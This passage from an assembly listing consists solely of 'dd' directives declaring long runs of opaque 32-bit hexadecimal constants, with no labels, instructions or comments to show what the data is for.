		dd 647D2906h, 0A337A06h, 5D082C5Fh, 1483D257h, 0DAFC2942h
		dd 0A7381A82h, 122BF7ECh, 2E7F9A84h, 0C061FF67h, 7D7BF184h
		dd 3F1EBC94h, 65323A6Eh, 811B1C1Fh, 0D99696F5h,	0AB0CFFDFh
		dd 0C70D7BEAh, 484F1C7h, 45E9D533h, 1395E739h, 7B3A69B9h
		dd 11F21E8Fh, 0CB972478h, 837197EBh, 55006431h,	106AFB96h
		dd 0EE1180B4h, 7288B34Dh, 98DED276h, 0E5E4F49Bh, 59C1DED9h
		dd 12EC8BCDh, 428841D1h, 0CBE979E0h, 9F34DA3Ah,	986F219Ah
		dd 0B81F79BFh, 0B48E3BD8h, 0C0D65343h, 9002FD7Ah, 92716E42h
		dd 0B9DA4EB8h, 5DBE461Fh, 7F8965D5h, 6CA5A6A8h,	10068359h
		dd 0CECD09B6h, 464F5362h, 0E12D1ADCh, 0D0421E26h, 0B3E922DCh
		dd 6E55C92Fh, 0A8972431h, 7752A247h, 0D72AA2D7h, 1AD09E53h
		dd 0AC2B2EA8h, 1416DDCEh
		dd 0B44ED439h, 6681C78Ch, 0A6EAAA8Fh, 77FA4ADDh, 0CDD156AFh
		dd 0A1175188h, 0E47CB87h, 50B42C50h, 49A08B55h,	81776913h
		dd 2B05F8FEh, 0AE6185E3h, 0E93B6FFBh, 0AC4F2B03h, 0D6096B75h
		dd 0A65851FAh, 0D2ADF8EBh, 21AA3587h, 9842D5B4h, 62D94378h
		dd 797A6D4Ah, 3D7B7F8Ch, 9248ECF8h, 0AC7F9B81h,	0ECBB4580h
		dd 76E7FB70h, 87E3864Ah, 0E8AEE50Dh, 90F44B6Bh,	74FD00C5h
		dd 0A5565D97h, 523CF907h, 51F6B4BCh, 6F8ABBD2h,	95876FCBh
		dd 19925939h, 314C2251h, 0D376AD76h, 6E26C4F8h,	7D592177h
		dd 0E9D09C73h, 0F806AEA2h, 0D09D440Ah, 63184FB3h, 0EC38155Bh
		dd 0AB8860BAh, 70D6E7D1h, 0D18FD0BAh, 10D8549Eh, 4C60EBFCh
		dd 0D613574Ch, 0DE77E9A0h, 234D5F5Eh, 9F2678EFh, 0F212447Ah
		dd 0D2CEC35Eh, 272Dh, 0C7C84025h, 308E556h, 0FD9067D3h
		dd 0C55E2F7Eh, 8A98A8D7h, 3B56CFDEh, 525EE4C9h,	1EC81C29h
		dd 0AFB43DD5h, 49CDB77Bh, 0A2F891A3h, 0CF36B29Eh, 57F9C375h
		dd 469104CFh, 0EB89D0A8h, 594A1D89h, 93EC0A89h,	62456E03h
		dd 0F00AECA7h, 79D59772h, 5728C8DCh, 74C80480h,	0BFD75596h
		dd 9D70155h, 22004840h,	7F087215h, 15F50C23h, 0BFBB3110h
		dd 7096FC8Fh, 0A617F0E8h, 103F724Eh, 364F60BCh,	77E9D240h
		dd 0C398B908h, 6A8C3B66h, 244BA456h, 8085C628h,	51671474h
		dd 0AD82535h, 67F7D8C9h, 0C554AB19h, 96976DCEh,	0FC504C16h
		dd 5C8A738Fh, 0A9BE07DCh, 30968631h, 6DFAA412h,	19478005h
		dd 60B74AADh, 438BACBAh, 974FFF42h, 0BA2D07A9h,	789909ABh
		dd 3C90C4BAh, 5E3038ABh, 0BAE07E4Dh, 0E47C13F0h, 204E1DE5h
		dd 84685A8Ch, 0F50AC372h, 1BA4E804h, 14226EDCh,	5C35D626h
		dd 140C223Fh, 296E6B9Dh, 47CA9900h, 2E5D27B2h, 822CF423h
		dd 0A64DC617h, 0C819D8DFh, 3756A356h, 0EECFAE4Dh, 5B4AFF3h
		dd 310701AEh, 0DF39DAC7h, 57135669h, 78E01C83h,	51B1CD85h
		dd 9A842E0Bh, 0B7022CE9h, 9E5180C6h, 0FA2D7E2Dh, 0F4A3729Bh
		dd 23B0B1D0h, 0ACC246Dh, 0CEED03Fh, 0AFBA9155h,	0EAC5F03Dh
		dd 0A1996127h, 4395BA27h, 2818ADBEh, 0D281830Fh, 0F4CA0C82h
		dd 0DBD416D7h, 53AF4BA1h, 53F452EDh, 22012087h,	0A3431C48h
		dd 2DC54D92h, 0E429E179h, 288BAA8Eh, 62B569A4h,	5C7F2328h
		dd 72D85C8Fh, 0AA351526h, 4EAD629Eh, 5B242345h,	0F28A94C1h
		dd 39676331h, 420831A3h, 0EA9CAA80h, 0D6EF077Ah, 0C1583267h
		dd 0E1A11390h, 0BDACBE43h, 63877A19h, 0F79C1F70h, 2635A4D9h
		dd 0CB6A95A7h, 3B2E26F2h, 9AF9314Eh, 0AED9D5BDh, 0E9B035D1h
		dd 65EC474Bh, 54CF5039h, 19950FB1h, 0FA9E3D6Ah,	220184ADh
		dd 0D042AB0Fh, 0F73D2BA1h, 0C5DEE06h, 2F90986Fh, 3067B95Ah
		dd 840151FDh, 0E31292DBh, 49C89929h, 4A0451CDh,	2DFFE1F9h
		dd 6718602Fh, 50E50337h, 8F6ABF4h, 9F2CE3Ch, 16DEE507h
		dd 0EEBC772Dh, 26A9C606h, 1A46D31h, 9D62483Bh, 4614E9C6h
		dd 8AFE9C5Ah, 0DEDD491Dh, 5365B28Dh, 0A48111E8h, 6C558BBDh
		dd 7E5CC3BAh, 9E35DFE7h, 1C323C04h, 5BA2B682h, 7DFAC255h
		dd 0E70649FFh, 0A59A2504h, 0C8A98414h, 7C0D56F3h, 0B230872h
		dd 0CBC5444Fh, 746D2843h, 0F9A4C79Ch, 0D8D86119h, 487D9239h
		dd 1CB59700h, 39FF0B6h,	903CECA9h, 3C664A1Dh, 77E07D49h
		dd 0ACCA5028h, 0E4FB46C8h, 3D3C5528h, 0B0819B9h, 6624CE95h
		dd 55DBC0BDh, 0F353F2F8h, 0AEC866CDh, 23DDBDCCh, 97AB7BBCh
		dd 1D860D4Ch, 5094098Ah, 0A98E2BECh, 15CDF7AEh,	82B58EB5h
		dd 510BDDFDh, 801CBA2Fh, 37D3FEFEh, 0ECAA2320h,	0AA6A7A2Eh
		dd 239C3838h, 0C06B915Ah, 0A5B25569h, 2472B758h, 4C1D4743h
		dd 0B8FD7A7Fh, 0AB89C655h, 2C84E8DFh, 3434C37Ch, 0B2776A05h
		dd 504368F0h, 248A0008h, 0EF6DA7B6h, 0EC2AF96Ah, 54773275h
		dd 0C2142833h, 0AFF8CEh, 78D34BE2h, 6DFE8D77h, 49354D09h
		dd 0C499C60Fh, 6673B547h, 0DADB617h, 5B65C8F2h,	6758FDABh
		dd 9ACF7AA1h, 0D09AE08h, 1782C54Ah, 9EA828A3h, 117E6330h
		dd 6DDBDF3Ch, 0A4F18A10h, 857F7046h, 83BFFA51h,	2C842F1Ch
		dd 0B890316Ah, 4A2344FBh, 0D8F6A0A1h, 0A863C37Eh, 0A81D4245h
		dd 6D25ED6Fh, 9ECACC95h, 914425F8h, 0A18A9C67h,	0FFCE9511h
		dd 0AC9FD334h, 6DFFC70Bh, 49959B1h, 6A3896F2h, 4B8ABA85h
		dd 696E0CB7h, 0A0CAEA31h, 625D5C8Ch, 8BD0488Fh,	99E5668Dh
		dd 9BB929A5h, 0B4E10DD7h, 6C9BC7CEh, 851C873h, 0DD2F8E3Bh
		dd 518AC69Fh, 0EA6EA31Ah, 2197A346h, 483779A9h,	0C982D6Ch
		dd 0A488EEF2h, 24E3B913h, 2875601Ah, 6688AD2h, 0C5A1D1C5h
		dd 0DE384411h, 0CC0D19C4h, 0D076C23Ah, 9B200001h, 0D1F07963h
		dd 45739C26h, 5264E293h, 0B5B79CB0h, 92DC5F8Ch,	0D2603DE3h
		dd 0DD1496CFh, 0E3B29756h, 0E0D2C6EBh, 0FA750322h, 6850F6DAh
		dd 3BB4D4CBh, 0E77BD2FCh, 0A6983BAEh, 74304FB5h, 0B2A657Fh
		dd 0BC188355h, 0BF711BFCh, 0C7B3A601h, 4D86EC3Ah, 77EE075Ch
		dd 48AA7E6Fh, 0AB9EDDB8h, 7C8321C9h, 29EC5C3Fh,	7B3ED538h
		dd 0BA299A34h, 3EF66C36h, 9C4D5D57h, 0DAD2DEB3h, 5BC1B868h
		dd 0CDDF3DB0h, 0F8D0A96Fh, 64E4338h, 80D60906h,	6DC97E9Bh
		dd 0AE6296CAh, 5354F74Ah, 0EC2BF2Eh, 6BA9AD95h,	0E4DD9BC8h
		dd 2E35F5D5h, 5593EB6h,	0B4EE95C8h, 821A2620h, 0E82311BDh
		dd 80AD81A6h, 0DE0B51D2h, 0F940479Fh, 0C3BB0C53h, 9B49ACFAh
		dd 479BB073h, 93532FF4h, 927F2567h, 0E1BB9367h,	0B9FB65F4h
		dd 0D0B69DAFh, 8BF468EAh, 578244Eh, 8E8BA738h, 41F7267Eh
		dd 0E95AC6Ah, 48848E06h, 0C53CC7D3h, 0C4632FBDh, 34FCCAE6h
		dd 0FF43DA4Eh, 0B10E2CD0h, 0B0F07979h, 4BE89E75h, 0AC93AD61h
		dd 4931631Ch, 3E7E5674h, 0C10FC794h, 1A65DBE1h,	0EEEB953Fh
		dd 0F3EFA578h, 0EC5ABB70h, 385DC246h, 0C5D2A659h, 3480BC3h
		dd 0CBA4AF0Bh, 848C2015h, 0EE91E9EFh, 655DBBA7h, 2FEE93A9h
		dd 0ACBA45D4h, 4EE23459h, 9AF9DBh, 0BE016466h, 90560A8Dh
		dd 8FBE5932h, 0F259409Eh, 33A99ECBh, 81285E14h,	53989A05h
		dd 1EB71631h, 0E7A472E3h, 5AC2B090h, 36BC85h, 72AAE5CCh
		dd 0CC6A8CE0h, 0FE8CD83Fh, 0AD76DAF2h, 874D00E8h, 3256098Fh
		dd 0B232079h, 0C3FCC928h, 753F1A36h, 0F8CAFED7h, 8820545Fh
		dd 0E7E33EA5h, 58686FDEh, 47C97FEEh, 0AA544F20h, 0E5D7670Fh
		dd 25EB8587h, 0D2875E19h, 26FCB3A0h, 9FDFB579h,	83251E6Ah
		dd 36C40BB5h, 2873CD8Ch, 68A7548Eh, 0C59907F1h,	85B6CC32h
		dd 925A2446h, 91A00869h, 90989018h, 33FBF999h, 168807EFh
		dd 12116369h, 0B6C17828h, 82CB03F3h, 94027052h,	8EE17710h
		dd 0F1686010h, 0C28A45A1h, 9D624B0h, 0B7C1A80h,	0CE8DCD90h
		dd 0EB32CA75h, 37FCD606h, 0EFB158E4h, 191D44F8h, 7024EC3Ch
		dd 23333F00h, 54974024h, 9FEDEEAFh, 0EDA1F17Ah,	8E96037h
		dd 7037658Dh, 0D787DABFh, 4AA66C79h, 814F7495h,	7CA9B442h
		dd 12A2C0F6h, 0FAC4FDF7h, 1192B072h, 26DDFE34h,	916103F6h
		dd 0E161F9D9h, 14EBE356h, 9710C084h, 634AFD48h,	0F5CC2024h
		dd 84F86297h, 74B27347h, 0A9CA8127h, 0E073B043h, 0B9B12F95h
		dd 3692C089h, 0BE9ABFC0h, 39ACB53Ah, 815ED5ADh,	0FEB9064Dh
		dd 0D08B6246h, 0C984F953h, 0FF597EF5h, 3318ABB4h, 0B3AF5E07h
		dd 0F00F7BEEh, 58AD32D3h, 5A582A97h, 0BBB360DCh, 1C35A213h
		dd 0E79BA4Eh, 0BDF1B710h
		dd 3E71EDB9h, 0FEABEE96h, 5C3B8C7h, 0EE76DF12h,	1F5A9C2Bh
		dd 8D2DB8FFh, 20ECD9A5h, 6386F6F3h, 0A25AA53Fh,	7C9E6AB8h
		dd 5B1118BEh, 0B29D76CEh, 25FFCD8Ch, 514F3D6h, 45605865h
		dd 60F7E352h, 4B7260E7h, 0AC6AB1A7h, 0F39F0D82h, 22F4E7DFh
		dd 0A444114Ah, 0FEF4986Ah, 8DFE5597h, 0D27FC56h, 0D8F5EF77h
		dd 0CAB030F4h, 0CD31DBC7h, 7FD984F0h, 96FBC882h, 18BCB4F4h
		dd 0B954BB11h, 0D702E723h, 2DA89A1h, 0FF2C89A6h, 5B68F05Fh
		dd 91A2F9EDh, 0CB8E6982h, 2D47E90Ch, 840B2265h,	6BC49F72h
		dd 0E69BC44Ch, 7F0380BDh, 1CC33642h, 0B343393Bh, 8DA7452Eh
		dd 454FCEB4h, 0E9938BFAh, 0ABF169FEh, 9E0EC36Ch, 86CFDBDEh
		dd 0BFA6077Fh, 96459698h, 19ECABDFh, 965ABE3h, 7FF709E9h
		dd 0A0A95D5Fh, 2600B8CCh, 39658CF6h, 301AC14Eh,	61232Dh
		dd 3B24F51Dh, 0CE328C27h, 2E75BD75h, 2B2E3347h,	0F926D3D1h
		dd 0AFE93FF1h, 0ED639D5Eh, 0A8E1016h, 0FEB0D820h, 30C9660Ah
		dd 33154515h, 9F361CCEh, 0EB84A444h, 2112E7D5h,	0D56FE17h
		dd 0AEEBFC4Bh, 34AC0062h, 0AC4035FBh, 65CE7C5h,	0B0A24645h
		dd 33182FF2h, 7B2D72D7h, 0FBA8FDF4h, 0EE63B277h, 4B0F5078h
		dd 22DE4510h, 1F7F5C9Dh, 7B75081Fh, 9F7D6BECh, 73A32EA4h
		dd 0C07EF3AAh, 0A3ECFE02h, 0FBA8C7BCh, 3DF3919Ch, 38CA0414h
		dd 812ACD32h, 6111866Ch, 0E275E1D3h, 0B054FD64h, 216065EDh
		dd 38F66C36h, 6AB441C9h, 7327B934h, 0F0A69D3Ah,	0A3261F4Ch
		dd 0E2635588h, 0A3E9BD55h, 792AEC53h, 455B2F0Eh, 0FFDF0172h
		dd 8436D5E3h, 2BA840A4h, 0B55D9A94h, 0F35F560Ch, 1729D2A4h
		dd 61933DC0h, 0BFF4C39Ch, 683CE21Fh, 7791DA99h,	495C6C92h
		dd 4C58E9Ch, 0C3E2A5E1h, 0C7AB5F9h, 0ED64D64Fh,	84B73D47h
		dd 0F2227D59h, 24622815h, 0C8AA2572h, 31206370h, 5F2DBB8Eh
		dd 0A473E59Ah, 0F5B7A5D0h, 9A12FD57h, 0FF83B588h, 0DD1777DFh
		dd 65C954A1h, 0A91DA13Fh, 1528A15Bh, 785E0AA8h,	0B28082F6h
		dd 0D34CFDDBh, 0CA485188h, 42EF21Ah, 0B41CDE2Ah, 1960C12Fh
		dd 5820F0B6h, 3DC04BF2h, 87AEDAFDh, 0A14B82F8h,	0A1A15CA1h
		dd 5E02ABC6h, 4ED3DE02h, 507D95CDh, 43ACA3A9h, 8C1D1711h
		dd 1E58D214h, 0B4047F34h, 23D70167h, 7D96585Ah,	5794A4E3h
		dd 0B1D81F42h, 0C72C1B74h, 1EF1FCFDh, 0E87227E7h, 185FE0D2h
		dd 209FF651h, 54EDFA6Dh, 1D31C715h, 5EB6F98Fh, 0DF678340h
		dd 1524F801h, 811FFBAFh, 2655F73Ch, 5A927550h, 408D83FBh
		dd 46481E89h, 6071757Eh, 66F97ECDh, 9BEA81CAh, 0B6C794A8h
		dd 0DB59C6C7h, 63326CEDh, 31A600D9h, 0BFB7BC32h, 19DFF1FBh
		dd 0A6BD0FEAh, 0EC936E0Dh, 78913C1Dh, 0B06F6FF5h, 6A606A16h
		dd 92DA0D83h, 67D35340h, 84DCED89h, 0FDAE20ACh,	898A4137h
		dd 0B3D93600h, 0E2829D5Ah, 3D7842Ch, 0CF4DB6DBh, 0C788708Ah
		dd 0EA58295Eh, 726C047Fh, 15537116h, 61B8ACB6h,	0A228FA3Eh
		dd 62B25C56h, 0FF591D85h, 0FE3BBB43h, 0B0ECE3DDh, 0F2651A12h
		dd 928A66B8h, 5D92BFE3h, 426C4754h, 0B8DBAE76h,	9F0F2C2Bh
		dd 0BA61A545h, 717BA443h, 0C25F81F5h, 0ADBA93A8h, 6F405827h
		dd 58A0EE28h, 18322617h, 55312085h, 5208CC33h, 0D2D79ACBh
		dd 9A582B63h, 3EB833DDh, 0A5D7E113h, 1507B028h,	424FAA06h
		dd 471A1D38h, 79FE3A2Ah, 3CFC3825h, 7FE2297Ch, 0C2861EA8h
		dd 0ECDDBA35h, 2B0A69FEh, 0AC14B135h, 0B1CBA6D6h, 0F5890A78h
		dd 4CF1CBEDh, 0BBE01FD3h, 0C8232511h, 1353D1E4h, 0BF26BC02h
		dd 0E447CC2Eh, 0C014AF81h, 0BFD8BE6Ah, 0D872A737h, 0AABA02BEh
		dd 44E3E3D4h, 0BD7A1320h, 0A16F32C2h, 770B19Eh,	3A9E8F87h
		dd 43F5F3F1h, 7CDDE238h, 0D3B43076h, 2DCB8181h,	2EAC22CBh
		dd 903F0395h, 0B6324A0Fh, 5655C91Ch, 2C11420Bh,	55062BB5h
		dd 0C9BEB0C8h, 0B4CD01EBh, 73297A78h, 9778872Dh, 0DC79C331h
		dd 4881C5B4h, 6BBB9E18h, 0ABF2DB73h, 97B53C38h,	0C9A173E7h
		dd 340CBBD2h, 0D253A98Ch, 0EA26BD87h, 0B994EFF1h, 6DB13E4Eh
		dd 0A080093Fh, 96A7500Ah, 0FFAB2DB1h, 0A6EC1C54h, 77E34DB5h
		dd 0B9FFA8BCh, 0E6FD8062h, 3B95A91Eh, 5CE70C7Fh, 882D63E9h
		dd 0D73F1E18h, 7AB46CB9h, 518A4B0Ah, 0CD560696h, 8AF3168h
		dd 5F4C9ADDh, 2B13ACD5h, 26D59597h, 0DC2B7060h,	0C1CD4704h
		dd 0CC7E1090h, 74E639C1h, 0EE52BC52h, 4D05EF95h, 0B5BA7170h
		dd 994C5E11h, 4B2EB73Ch, 99D295C8h, 0E23AEFAh, 126C7384h
		dd 0DB6F2A51h, 4E2CDB28h, 6681CD81h, 4C881DBCh,	1392B1F5h
		dd 77B25A49h, 993F9221h, 13C13C04h, 778A6AEEh, 5E2F1E13h
		dd 0C571A787h, 756218B0h, 49F47E9h, 0BB1FF4CCh,	72BCF47Dh
		dd 63ED0553h, 0A2DD95AEh, 0E4974B9Dh, 75F13B0Ah, 0FE7D7FE4h
		dd 45C233FBh, 0BC2EA675h, 0E67852F9h, 0B94832C8h, 0B9F3D289h
		dd 5177D1Ch, 4404F391h,	7F0BD807h, 0BD3C23B4h, 0E7F617DBh
		dd 566023A5h, 202C7862h, 0D1F24910h, 0D978975h,	4C021FF2h
		dd 10E13F1Bh, 0D0D17790h, 0F8A90A16h, 686C50E1h, 59A1F31Dh
		dd 12F2334Ch, 693ED50Ch, 0A038602h, 0F42A414Dh,	8537ED2h
		dd 0D65325ADh, 9431EF1Dh, 0EBD97DF1h, 0C64333C0h, 0D3173521h
		dd 763F1660h, 8CBF9112h, 0B4F88E78h, 6DC54B72h,	739C8972h
		dd 84D2D098h, 0AEAE0C83h, 334C9964h, 0B8D39BAEh, 0EB8B1CE9h
		dd 0DBB1F9D1h, 27E79B58h, 68C4FAFh, 4A641DAh, 43CCB150h
		dd 69C13E06h, 757882A4h, 281917h, 1896DE81h, 0FB702C0Ch
		dd 84D2D770h, 0FA4B324h, 0BE17BCEAh, 32C5C5E8h,	5AA99362h
		dd 2A98FA96h, 0A0DE0AA8h, 687D151Dh, 0D4A5C1F8h, 9056C999h
		dd 76EB0524h, 0BCABC4EDh, 0A5D7A4ABh, 6CB227E3h, 89126A1Fh
		dd 0A79DA5EAh, 8869F7B5h, 0F226C662h, 0D95B84B7h, 1F11D4B6h
		dd 9CF17297h, 571B4BE3h, 4D47AD4h, 510467C7h, 0E051A61Ch
		dd 0A0812825h, 82DC91A5h, 600106E3h, 0D1F70887h, 4508595Ch
		dd 595E0799h, 46E12677h, 0F3A6579Bh, 66C9728Ah,	0A20E4C17h
		dd 88F6042Ch, 0D8C775D2h, 0DC2D47F4h, 65A20352h, 93192E69h
		dd 1B80C676h, 4A9508F8h, 8946C6F1h, 8CDD2B8Dh, 7D977E0h
		dd 5985B96Dh, 0A32DF2CAh, 0E67084B6h, 2F7B22Ah,	7BC4D38Ah
		dd 19080887h, 0FE6C3390h, 7220FA26h, 0E05564CCh, 6F00370Fh
		dd 0A84776ABh, 0F0F797ECh, 75BC7566h, 26725670h, 238587B6h
		dd 0CAB6344Ch, 1C1D0972h, 0DBAD338Bh, 54F8D1D9h, 2CA32F8Eh
		dd 37D4DA91h, 818C7D1Bh, 0C9A50FC6h, 2B72BA4Fh,	51481D5Dh
		dd 0FC33B28Bh, 0F708CDE4h, 653B5065h, 439C6A51h, 27289634h
		dd 84EF6E4Fh, 2095688Fh, 0A9B85C98h, 0BF0F17C9h, 0DCC600FAh
		dd 0BB7471FBh, 0DB57C53Ah, 0B42D81E5h, 4CC4D40Fh, 406E7D1Bh
		dd 0BF8E11C2h, 0CB9B0B65h, 0DE2B49E2h, 824700AEh, 0BF0A119Ch
		dd 4648EAFFh, 74AAFA51h, 91CFBFB3h, 0ECB0900Eh,	0FB496272h
		dd 7A8CA0F1h, 0DDD8F058h, 0AC17BC55h, 0A2EB31A2h, 9740F20Eh
		dd 0B4875EBBh, 64C5C201h, 0EB7835FFh, 0EDDB0F22h, 9BFCD295h
		dd 0B0A23437h, 415E6C05h, 87B8EE69h, 9F296602h,	30515857h
		dd 10465AB6h, 0BBCEC58Eh, 0B9E96831h, 6673D22Fh, 0C7F5A858h
		dd 4DC655BEh, 0A0BDADBEh, 8D661747h, 12867861h,	40214A76h
		dd 19798E9Ch, 2EAD8C25h, 9BBB331Eh, 0F7A0E12Bh,	1F61CB61h
		dd 0F78931h, 145E550Fh,	4D8B87A5h, 7A4DA890h, 6C98CBBAh
		dd 3453C544h, 1773096Eh
		dd 9FD922C0h, 823AC62Ch, 2C8296AEh, 0B151E8A3h,	44DE1C17h
		dd 0B147F65Ah, 89D1A1EEh, 187338BDh, 18D3FA6Dh,	24C4BB88h
		dd 167F80Eh, 2495CC2Fh,	0C930299Dh, 0DC4600DAh,	0A52E4CA1h
		dd 0F24E1082h, 959E9F3h, 7937FD55h, 0A10E41C5h,	88F95D32h
		dd 40E5D7C9h, 6C3DB812h, 26AC1578h, 247D747h, 0D4077169h
		dd 95A0349Eh, 97F63647h, 3BFE59B5h, 1B4D5A15h, 0C19424D8h
		dd 0E6438250h, 0DA181927h, 1E86C8B2h, 95A423F1h, 0D4C22759h
		dd 883CCC30h, 78D226F7h, 0BF25C863h, 61CE5098h,	0D9860178h
		dd 0B9FD4085h, 6C40C65Bh, 4E725925h, 0CFE18160h, 9D568431h
		dd 0B950553Ch, 8943D81Eh, 6EDFA2C1h, 0C786FA5Bh, 0EF20971Dh
		dd 1B9BC74Dh, 0A4EF35F2h, 62DEF621h, 153D9721h,	0D89B95F6h
		dd 0A581AA1Bh, 7F7E210Dh, 75F03FB7h, 70CFC855h,	0C0FD5410h
		dd 6F79F2C1h, 0E36B17A5h, 7912FD4Eh, 9B8C1B76h,	0D15BB577h
		dd 0DFBE9FEh, 0B6A64508h, 20312E97h, 8A0B7CDh, 0E13DDD61h
		dd 5B16650h, 0A4278B0Fh, 0F201B8DCh, 54C1448Bh,	2F932503h
		dd 0ACBB30CCh, 588C828Bh, 0C2D451E5h, 0CFA6D58Ch, 69C79052h
		dd 187F9B15h, 91C84180h, 0F5EA3A8Fh, 7CF71B4Bh,	622DC880h
		dd 0C563AB92h, 2569F439h, 0F99F83E6h, 93F73421h, 38999FA3h
		dd 9359B7EAh, 81526E16h, 9D110ACCh, 9D96CC7h, 0D6C2B754h
		dd 0F0C50A0Fh, 0AD3CD1Bh, 0AE024386h, 0DE984483h, 2C4F8D1h
		dd 5C4E19DBh, 7FCF3C6Eh, 0BD25C978h, 9794A18h, 3C47AA37h
		dd 0C52C1F7Ch, 4EF0DD17h, 840BCF9Dh, 31F9EE84h,	944289D5h
		dd 773EB4C4h, 6F05FCAAh, 1C16B54Fh, 0B3667C92h,	20E896BBh
		dd 0AB496172h, 3224F4ADh, 0A5956EECh, 0AE692EECh, 69E7465Eh
		dd 9BFCD795h, 0F745DDD9h, 8E1AD521h, 94452E8Ah,	0E9B1CAB3h
		dd 26454DE3h, 70C9E185h, 0C4BA694Dh, 0E3E1BECDh, 0F3400550h
		dd 3CE2B44Ah, 51047967h, 9FF34B7Ah, 7E0FF49Eh, 8BEE9863h
		dd 9C4AECEDh, 0C4EC5A7Dh, 2BCF8B09h, 7ECDFFBCh,	0B5F9BEB3h
		dd 2A708748h, 0A9439F6Fh, 102367ECh, 0D7DC704Eh, 0CC1EED09h
		dd 49840E27h, 0D28A24DBh, 960A609Fh, 0C1D8CAA7h, 3A4C0474h
		dd 0EEDF32EBh, 3969D794h, 1EB1CBB7h, 0B6C9BCCCh, 0FC2A2509h
		dd 0E1015E23h, 0C27EEB87h, 0CC4A59F0h, 75620AFCh, 0D7854849h
		dd 76B8C688h, 0EEDBE535h, 3D02D7C8h, 0F5791BD7h, 55BD820Ah
		dd 11408722h, 0D815CD03h, 4C516003h, 0C24BC685h, 9563A2CCh
		dd 389D6174h, 0BD8B4CDCh, 44FEDBABh, 0F439D728h, 9C464C16h
		dd 0FC0BA5FDh, 0D8886945h, 68AB7914h, 13338274h, 84C1727Bh
		dd 0BBFD17E8h, 74318BFBh, 1D0DA6B1h, 0DA049A9Dh, 0FE9862D0h
		dd 98A9CC10h, 381288BBh, 1F6F0171h, 0CCB33EA0h,	89A99FD3h
		dd 0CACA9180h, 506FED2Ch, 540B37ADh, 1D45D6F0h,	2C66C3E5h
		dd 5F9CA219h, 3856CA6Fh, 35279D89h, 3E741F9Ch, 0CBE945FDh
		dd 0BDE55765h, 8E7E746h, 6B74833h, 9E557E44h, 65297D2Ch
		dd 0DF11FF24h, 89DD5644h, 0E5FFA0B1h, 626C07CFh, 2247B738h
		dd 9D9395E0h, 0C73119C0h, 5B8FEC5Bh, 0DB06A6DAh, 0B7D3CA90h
		dd 2758E8D9h, 0F0A93AB0h, 975C39AEh, 0A02EB120h, 0FA7A9EA1h
		dd 335FC161h, 37666993h, 0D7C0AB09h, 0D82364F4h, 2455B95Ch
		dd 9CA86FF1h, 93AFA959h, 2C4633C9h, 92C0A3E8h, 5782737Ch
		dd 543821D7h, 0F1E90D4h, 8AFEEFBAh, 38ECE5C3h, 0F26A6CAEh
		dd 9DCC4724h, 3F56BCB6h, 0F9F5D306h, 36730DB1h,	4570DDABh
		dd 6A8F01Fh, 0DA55F514h, 6228CC4Fh, 0AA37A6A2h,	42388977h
		dd 0AE7C10E0h, 0AF4DA17Eh, 49A7ED44h, 8C25C781h, 0C3034C7h
		dd 57F88358h, 112210B1h, 0E6EAC4A0h, 0D732139Ah, 0D66742FCh
		dd 37BDC6CCh, 0ECEF26E3h, 0E023E3FDh, 722903DBh, 716C3F3Bh
		dd 0CC88BA49h, 5E389E8Ah, 104F0054h, 0E92D351Ah, 0D82ED1DDh
		dd 1896E5F2h, 4207A099h, 76E3875h, 24EA4CEEh, 0E96587A4h
		dd 6ACB6906h, 60E765B5h, 1ED7751Fh, 281E3633h, 3FB5208Bh
		dd 94E199B6h, 856E2F7Ch, 466B5882h, 3F6B2A59h, 7201DD4Bh
		dd 0B7BA10C2h, 30D5EC0Eh, 66BD77Ah, 0E83AB736h,	0C796C21h
		dd 8FF3492Eh, 0BE293AB6h, 0B16AFB59h, 87ECDD90h, 0F5EC236Dh
		dd 7B5E58FEh, 61A2495Eh, 0F764B8CBh, 9C12F7E7h,	0D5B6B20Ah
		dd 0E4F83158h, 101461F2h, 0E5D48E75h, 63034A8h,	4EFFEF64h
		dd 4CBEA1D8h, 889FE8BAh, 88FE53A5h, 0AF8BAD1Ch,	5A886D4Fh
		dd 5EE0A5F6h, 0AB1BE6ECh, 8EE020D4h, 1A1D7077h,	91D87CE6h
		dd 574D53DAh, 14961FC3h, 0A2CD20F6h, 836A5118h,	46710D48h
		dd 0F4443236h, 0B0E2E8C9h, 0DBA20132h, 627D8979h, 0BA18456Eh
		dd 2065B056h, 3699942h,	0B1A20307h, 0A4B05904h,	82744E7Dh
		dd 39978D5h, 94EF58E3h,	0A34AEF3Eh, 836FDA18h, 17C411D1h
		dd 0A0C781Dh, 7D8DD38h,	870036B5h, 24E1477Dh, 6051606Fh
		dd 0DADA2D7Ah, 1B3B008Fh, 21575ACFh, 8F5D0F1Ch,	3BAAC225h
		dd 5EF755A0h, 0D3B770DAh, 764FF8C9h, 5341DACBh,	35AAF48h
		dd 80D9077Ah, 0CD5D2298h, 71EE7CD6h, 0EBB841C6h, 35ABE7Ah
		dd 0F937BE64h, 8F1D5416h, 42F28C28h, 4450A53Ah,	6CE1723Ah
		dd 0DE094320h, 8288505Fh, 43F17E0h, 64018DA3h, 0EDD7EF82h
		dd 601CB19Dh, 94BE46DBh, 2AE168D7h, 0D21F7FF3h,	0C77AD9E6h
		dd 47304A0Bh, 40D9C5Ah,	0CD387A69h, 0B2AE8287h,	8CDBDB8Ch
		dd 0EB215A68h, 8AEB7F02h, 0DFE94D40h, 902D29E9h, 0AB2B6358h
		dd 5BD66E30h, 88CAD5CFh, 8BAD773Ch, 70FF963Dh, 2AC0A8D8h
		dd 24549B4Dh, 490AB39Ah, 509E4426h, 9297F7C2h, 3F378B30h
		dd 50034D7Ah, 7AC319CFh, 0A0932D4Dh, 76CA644Eh,	54295909h
		dd 2756866Dh, 919B3448h, 0F296381Ah, 0AF90E04Ch, 0E3B29F65h
		dd 964A3FEFh, 0EE59F05Ch, 0C3D3B747h, 9BC4E046h, 0CFA68665h
		dd 0CE3C5715h, 2A28227Eh, 3BEF6C5Ah, 0B500E4FDh, 1C3600B9h
		dd 0B68BE35Bh, 0FA77DC5Eh, 0E493062Ah, 141E0844h, 0EDE48EE3h
		dd 0D5EC71E1h, 0B880D4F8h, 8704DAF4h, 2312E24Dh, 98772F6Bh
		dd 676DEA4Ah, 0A1E71EC4h, 5250E6ECh, 6E64688Ch,	0DC88FD43h
		dd 0DF46AC26h, 8BF22250h, 786EB43Ch, 0B452814h,	968833AEh
		dd 4467FC05h, 0AB3073Ch, 1D4D32Ch, 0A5001367h, 0B6715EFEh
		dd 0CB33D0h, 4AD057A0h,	8475E3F4h, 894709Dh, 8070BF2Dh
		dd 1D103008h, 3F0A9953h, 1E379A28h, 2800CFC3h, 4E64C037h
